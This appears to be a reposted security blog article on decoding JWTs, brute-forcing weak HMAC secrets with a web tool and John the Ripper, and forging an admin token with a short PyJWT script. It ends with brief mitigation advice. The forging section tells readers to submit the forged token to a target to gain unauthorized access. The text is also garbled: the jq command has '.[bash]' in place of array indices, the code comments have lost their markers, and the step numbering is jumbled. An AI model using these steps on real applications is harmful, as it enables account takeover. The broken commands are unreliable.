Mastering JWT Security: Cracking and Forging Tokens with JWT Security Checker

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Introduction

JSON Web Tokens (JWTs) are widely used for authentication and authorization in modern web applications. However, weak implementations can lead to severe security vulnerabilities, including privilege escalation and unauthorized access. The newly released JWT Security Checker (https://xjwt.io/) simplifies JWT testing by enabling security professionals to crack weak HMAC-signed tokens and forge new ones—all in a user-friendly interface.

Learning Objectives

  • Understand how to identify weak JWT secrets using brute-force techniques.
  • Learn how to forge a new JWT token to escalate privileges.
  • Explore best practices for securing JWTs in production environments.

1. Decoding a JWT Token

Command:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | jq -R 'split(".") | .[bash],.[bash] | @base64d'

Step-by-Step Guide:

  1. Copy a JWT token (e.g., from an application’s authentication flow).
  2. Use the `jq` command to split the token into its three parts (header, payload, signature).
  3. Decode the Base64-encoded header and payload to view the claims.
  4. Analyze the algorithm (alg field) to determine if it uses a weak HMAC secret (e.g., HS256).

2. Cracking a Weak JWT Secret

Tool: JWT Security Checker (https://xjwt.io/)

Step-by-Step Guide:

1. Paste the JWT into the tool.

  1. Select “Crack Token” to brute-force the secret using a built-in dictionary of 100,000+ common keys.
  2. If successful, the tool reveals the secret (e.g., secret123).
  3. Use the secret to forge a new token with elevated privileges.

3. Forging a Malicious JWT Token

Python Script:

import jwt

Replace with cracked secret 
secret = "secret123" 
payload = {"user": "admin", "role": "superuser"}

Generate a new token 
forged_token = jwt.encode(payload, secret, algorithm="HS256") 
print(forged_token)

Step-by-Step Guide:

1. Install PyJWT (`pip install pyjwt`).

  1. Modify the payload to include elevated privileges (e.g., "admin": true).

3. Sign the token using the cracked secret.

  1. Submit the forged token to the target application to gain unauthorized access.

4. Mitigating JWT Vulnerabilities

Best Practices:

  • Use strong secrets (256-bit+ keys).
  • Avoid HS256 in favor of RS256 (asymmetric signing).
  • Set short expiration times (exp claim).
  • Validate token signatures rigorously.
    1. Automating JWT Attacks with John the Ripper

Command:

john --wordlist=rockyou.txt jwt_hash.txt --format=HMAC-SHA256

Step-by-Step Guide:

  1. Extract the JWT signature and format it for John.
  2. Use a wordlist (rockyou.txt) to brute-force the secret.

3. Monitor output for successful cracks.

What Undercode Say

  • Key Takeaway 1: Weak HMAC secrets make JWTs trivial to crack—always use strong, randomly generated keys.
  • Key Takeaway 2: Tools like JWT Security Checker streamline penetration testing but should only be used ethically.

Analysis:

The release of JWT Security Checker highlights the growing need for better JWT security practices. As APIs increasingly rely on tokens, developers must prioritize secure implementations to prevent exploitation. Future advancements may include AI-driven secret detection and real-time JWT validation in CI/CD pipelines.

Try JWT Security Checker: https://xjwt.io/
GitHub Repository: https://lnkd.in/dCwC3hs6

IT/Security Reporter URL:

Reported By: Badmus Al – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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